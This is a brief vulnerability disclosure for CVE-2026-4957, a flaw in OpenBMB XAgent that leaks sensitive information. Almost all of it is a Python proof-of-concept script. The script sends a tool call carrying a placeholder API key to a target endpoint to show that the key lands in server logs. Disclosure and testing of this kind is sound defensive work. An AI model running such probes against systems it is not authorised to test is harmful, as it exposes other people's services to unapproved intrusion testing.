CVE-2026-4957 OpenBMB XAgent敏感信息泄露漏洞

import requests # Target URL for the vulnerable OpenBMB XAgent instance target_url = "http://target-host:port/api/tool_call" # Payload containing the sensitive API key argument payload = { "tool_name": "example_tool", "arguments": { "api_key": "sk-sensitive-api-key-leaked-in-logs" } } # Sending the request to trigger the logging of the sensitive parameter response = requests.post(target_url, json=payload) if response.status_code == 200: print("Request sent successfully.") print("The sensitive api_key has likely been written to the server logs.") else: print(f"Request failed with status code: {response.status_code}")